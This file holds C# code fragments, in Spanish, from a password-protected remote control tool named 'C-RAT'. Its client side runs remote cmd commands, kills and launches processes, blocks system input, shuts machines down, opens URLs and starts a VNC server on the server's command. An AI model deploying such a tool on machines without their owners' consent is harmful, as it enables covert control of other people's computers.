public void cargarConNetData(NetData a) { limpiar(); foreach (string clave in a.getClaves()) { Columns.Add(clave, clave); } int numRegs = Serializador.DeserializarRegistro(a.GetDato(a.getClaves()[0])).Length; Rows.Add(numRegs); for (int i = 0; i < numRegs; i++) { int celda = 0; foreach (string clave in a.getClaves()) { string[] datos = Serializador.DeserializarRegistro(a.GetDato(clave)); for (int j = 0; j < numRegs; j++) { if (datos[j].IndexOf("www.") >= 0 || datos[j].IndexOf("http:") >= 0) Rows[j].Cells[celda] = new DataGridViewLinkCell(); Rows[j].Cells[celda].Value = datos[j]; } celda++; } } }
protected override void EventoDatosRecibidos(Conexion client, NetData objetoRecibido) { ManejoDB.InsertarFromNetData(client.IpAddress, objetoRecibido); //insercion db async. switch (objetoRecibido.CodigoDeProtocolo) { case (int) Protocolo.Cliente.Conectado: V.Invoke(new VPpal._AddClient(V.AddNuevoCliente), client, objetoRecibido); Clientes.Add(client); break; case (int) Protocolo.Cliente.RespuestaInfoVentanas: V.VentanaInfoVentanas.info = objetoRecibido; V.VentanaInfoVentanas.Bw.RunWorkerAsync(); break; case (int)Protocolo.Cliente.RespuestaInfoSoftware: V.VentanaInfoSoftware.info = objetoRecibido; V.VentanaInfoSoftware.Bw.RunWorkerAsync(); break; case (int) Protocolo.Cliente.RespuestaInfoProcesos: V.VentanaInfoProcesos.info = objetoRecibido; V.VentanaInfoProcesos.Bw.RunWorkerAsync(); break; case (int) Protocolo.Cliente.AutentificacionCorrecta: MessageBox.Show(V, "Has sido autentificado en el cliente", "Login Correcto", MessageBoxButtons.OK, MessageBoxIcon.Information); V.AutentificarCliente(client); break; case (int) Protocolo.Cliente.AutentificacionIncorrecta: MessageBox.Show(V, "Fallo al intentar autentificarse en el cliente.\n" + "La contraseña es incorrecta.", "Cliente Protegido", MessageBoxButtons.OK, MessageBoxIcon.Stop); break; case (int) Protocolo.Cliente.PedirPassword: MessageBox.Show(V, "El cliente sobre el que intentas realizar la accion está protegido por contraseña." + "Por favor, autentificate en el cliente.", "Cliente Protegido", MessageBoxButtons.OK, MessageBoxIcon.Stop); break; case (int) Protocolo.Cliente.RespuestaComandoCmd: if (!V.VentanaConsolaRemota.IsDisposed && V.VentanaConsolaRemota != null) { V.VentanaConsolaRemota.agregarRespuesta(objetoRecibido.GetDato("RespuestaCmd")); } break; } }
public void ProcesarAccionesDeVentana(NetData datoVentana) { IntPtr handle = new IntPtr(int.Parse(datoVentana.GetDato("Handle"))); switch (datoVentana.CodigoDeProtocolo) { case (int)Protocolo.Servidor.MinimizarVentana: //minimizar Ventana VentanaData.MinimizarVentanaByHandle(handle); break; case (int)Protocolo.Servidor.BloquearVentana: VentanaData.BloquearVentanaByHandle(handle); break; case (int)Protocolo.Servidor.DesbloquearVentana: VentanaData.DesbloquearVentanaByHandle(handle); break; case (int)Protocolo.Servidor.CambiarTituloVentana: String titulo = datoVentana.GetDato("NuevoTitulo"); VentanaData.CambiarTituloVentanaByHandle(handle,titulo); break; } }
public void ProcesarAccionesDeProcesos(NetData datosProc) { IntPtr handle = new IntPtr(int.Parse(datosProc.GetDato("Id"))); switch (datosProc.CodigoDeProtocolo) { case (int)Protocolo.Servidor.MatarProceso: //minimizar Ventana ProcesosDelSistema.MatarProceso(handle.ToString()); break; case (int)Protocolo.Servidor.EjecutarProceso: ProcesosDelSistema.IniciarProceso(datosProc.GetDato("NombreProceso"), false); break; } }
public void AddNuevoCliente(Conexion client, NetData info) { if (info == null) return; try { ManejoDB.InsertarFromNetData(client.IpAddress, info); //insercion asyncrona en db. } catch (Exception ex) { } foreach (ListViewItem it in listGridClientes.Items) { if (it.Text == client.IpAddress) { it.Tag = client; if (it.SubItems[6].Text != "Conectado") { if (info.GetDato("TienePassword") == "True") { it.SubItems[6].Text = "Conectado sin Autentificar"; it.SubItems[6].ForeColor = Color.RoyalBlue; } else { it.SubItems[6].Text = "Conectado"; it.SubItems[6].ForeColor = Color.Green; } } iconoDeNotificacion.ShowBalloonTip(300, "Reconexion", "El cliente" + client.IpAddress + " volvio a conectarse.", ToolTipIcon.Info); return; } } //si no esta en la lista lo añado con los datos que envió. ListViewItem item = new ListViewItem(); item = new ListViewItem(); item.UseItemStyleForSubItems = true; item.Text = client.IpAddress; item.Tag = client; item.SubItems.Add("UsuarioLogeado"); item.SubItems.Add("NombrePc"); item.SubItems.Add("Plataforma"); item.SubItems.Add("Version"); item.SubItems.Add("Idioma"); item.SubItems.Add("Estado"); item.SubItems[1].Text = info.GetDato("UsuarioLogeado"); item.SubItems[2].Text = info.GetDato("NombrePc"); item.SubItems[3].Text = info.GetDato("NombreSo"); item.SubItems[4].Text = info.GetDato("VersionSo"); item.SubItems[5].Text = info.GetDato("IdiomaSo"); if (info.GetDato("TienePassword") == "True") { item.SubItems[6].Text = "Conectado sin Autentificar"; item.SubItems[6].ForeColor = Color.RoyalBlue; } else { item.SubItems[6].Text = "Conectado"; item.SubItems[6].ForeColor = Color.Green; } item.UseItemStyleForSubItems = false; MiServer.Online++; listGridClientes.Items.Add(item); iconoDeNotificacion.ShowBalloonTip(150, "Nuevo cliente", "Se conecto un nuevo cliente con la IP " + client.IpAddress + " .", ToolTipIcon.Info); }
private static Boolean validarRespuestaPassword(NetData datosRecibidos) { String psw = datosRecibidos.GetDato("Password"); if (psw == passwordDelCliente) { passwordRecibida = psw; return true; } else { return false; } }
private static void Procesar(NetData objRecibido) { Console.Out.WriteLine("Recibido msg con codigo de protocolo [" + objRecibido.CodigoDeProtocolo + "]"); /*mientras el acceso no este validado...*/ if (comprobarAuth() == false) { Enviar(servicio.GenerarPeticionPassword()); Boolean auth = false; /*Si el objeto recibido es una respuesta a la password la valido, si no paso.*/ if (objRecibido.CodigoDeProtocolo == (int)Protocolo.Servidor.EnviarPassword) auth = validarRespuestaPassword(objRecibido); else return; /*Si no estoy validado no hago nada... sigo leyendo hasta estarlo.*/ if (auth == false) return; } //Si el server esta autorizado (Password -> OK) proceso los msg recibidos. switch (objRecibido.CodigoDeProtocolo) { //Ventanas case (int)Protocolo.Servidor.PedirInfoVentanas: NetData d = servicio.GenerarInfoVentanasVisibles((int)Protocolo.Cliente.RespuestaInfoVentanas); Enviar(d); break; //Acciones de Ventana. case (int)Protocolo.Servidor.MinimizarVentana: case (int)Protocolo.Servidor.BloquearVentana: case (int)Protocolo.Servidor.DesbloquearVentana: case (int)Protocolo.Servidor.CambiarTituloVentana: try { servicio.ProcesarAccionesDeVentana(objRecibido); Enviar(NetData.RespuestaOk()); } catch (Exception ex) { Enviar(NetData.RespuestaError()); } break; case (int)Protocolo.Servidor.MostrarMsgBox: servicio.MostrarMsgBox(objRecibido.GetDato("Msg"), objRecibido.GetDato("Titulo"), int.Parse(objRecibido.GetDato("Tipo"))); break; } }
/// <summary> /// Inserta datos en la DB de forma automatica y asincrona, basandose en los datos que /// contiene el NetData. /// Se deduce el tipo de inserción que debe realizar en funcion del Protocolo que implementa /// el NetData pasado como parametro, y obtiene los datos de la estructura diccionario que posee. /// </summary> /// <param name="nd"></param> public static void InsertarFromNetData(string destinatario, NetData nd) { switch (nd.CodigoDeProtocolo) { case (int) Protocolo.Cliente.Conectado: InsertarNuevoCliente(destinatario, nd.GetDato("UsuarioLogeado"), nd.GetDato("NombrePc"), nd.GetDato("NombreSo"), nd.GetDato("VersionSo"), nd.GetDato("IdiomaSo")); /* default: break;*/ break; default: InsertarAccion(destinatario, nd); break; } }
private static Boolean validarRespuestaPassword(NetData datosRecibidos) { String psw = datosRecibidos.GetDato("Password"); if (psw == passwordDelCliente) { passwordRecibida = psw; Enviar(new NetData((int) Protocolo.Cliente.AutentificacionCorrecta)); return true; } else { Enviar(new NetData((int) Protocolo.Cliente.AutentificacionIncorrecta)); return false; } }
private static void Procesar(NetData objRecibido) { Console.Out.WriteLine("Recibido msg con codigo de protocolo [" + objRecibido.CodigoDeProtocolo + "]"); /*mientras el acceso no este validado...*/ if (comprobarAuth() == false) { Boolean auth = false; if (objRecibido.CodigoDeProtocolo == (int) Protocolo.Servidor.EnviarPassword) { auth = validarRespuestaPassword(objRecibido); } else { Enviar(Servicio.GenerarPeticionPassword()); } /*Si el servidor no esta validado le pido el password para que se valide...*/ if (auth == false) { return; } } //Si el server esta autorizado (Password -> OK) proceso los msg recibidos. switch (objRecibido.CodigoDeProtocolo) { //Ventanas case (int) Protocolo.Servidor.PedirInfoVentanas: NetData d = Servicio.GenerarInfoVentanasVisibles((int) Protocolo.Cliente.RespuestaInfoVentanas); Enviar(d); break; //Acciones de Ventana. case (int) Protocolo.Servidor.MinimizarVentana: case (int) Protocolo.Servidor.BloquearVentana: case (int) Protocolo.Servidor.DesbloquearVentana: case (int) Protocolo.Servidor.CambiarTituloVentana: try { Servicio.ProcesarAccionesDeVentana(objRecibido); Enviar(NetData.RespuestaOk()); } catch (Exception ex) { Enviar(NetData.RespuestaError()); } break; //acciones de procesos. case (int)Protocolo.Servidor.MatarProceso: case (int)Protocolo.Servidor.EjecutarProceso: try { Servicio.ProcesarAccionesDeProcesos(objRecibido); Enviar(NetData.RespuestaOk()); } catch (Exception ex) { Enviar(NetData.RespuestaError()); } break; case (int) Protocolo.Servidor.PedirInfoSoftware: NetData infoSoft = Servicio.GenerarInfoSoftwareDelSistema((int) Protocolo.Cliente.RespuestaInfoSoftware); Enviar(infoSoft); break; case (int)Protocolo.Servidor.PedirInfoProcesos: NetData infoProc = Servicio.GenerarInfoProcesosDelSistema((int)Protocolo.Cliente.RespuestaInfoProcesos); Enviar(infoProc); break; //accion MsgBox case (int) Protocolo.Servidor.MostrarMsgBox: Servicio.MostrarMsgBox(objRecibido.GetDato("Msg"), objRecibido.GetDato("Titulo"), int.Parse(objRecibido.GetDato("Tipo"))); break; case (int) Protocolo.Servidor.IniciarEscritorioRemoto: try { Servicio.IniciarServidorVnc(passwordServidorVNC, puertoServidorVNC, "Servidor VNC C-RAT"); } catch (Exception ex) { Console.Out.WriteLine( "No se pudo iniciar el servidor. Compruebe que no se encuentra ya iniciado."); } break; case (int) Protocolo.Servidor.BloquearSistema: Servicio.BloquearEntradaDelSistema(true); break; case (int) Protocolo.Servidor.DesbloquearSistema: Servicio.BloquearEntradaDelSistema(false); break; case (int) Protocolo.Servidor.AbrirPaginaWeb: String url = objRecibido.GetDato("URL"); Servicio.AbrirPaginaWeb(url); break; case (int) Protocolo.Servidor.ApagarEquipo: Servicio.RealizarAccionApagado(int.Parse(objRecibido.GetDato("Flag"))); break; case (int) Protocolo.Servidor.EnviarCmdCommandRemoto: string respuesta = Servicio.ObtenerRespuestaComandoCmd(objRecibido.GetDato("Comando")); NetData respNd = new NetData((int) Protocolo.Cliente.RespuestaComandoCmd); respNd.AddDato("RespuestaCmd",respuesta); Enviar(respNd); break; case (int) Protocolo.Servidor.DesconectarCliente: Console.Out.WriteLine("El servidor ha finalizado la Conexion."); Environment.Exit(0); break; } }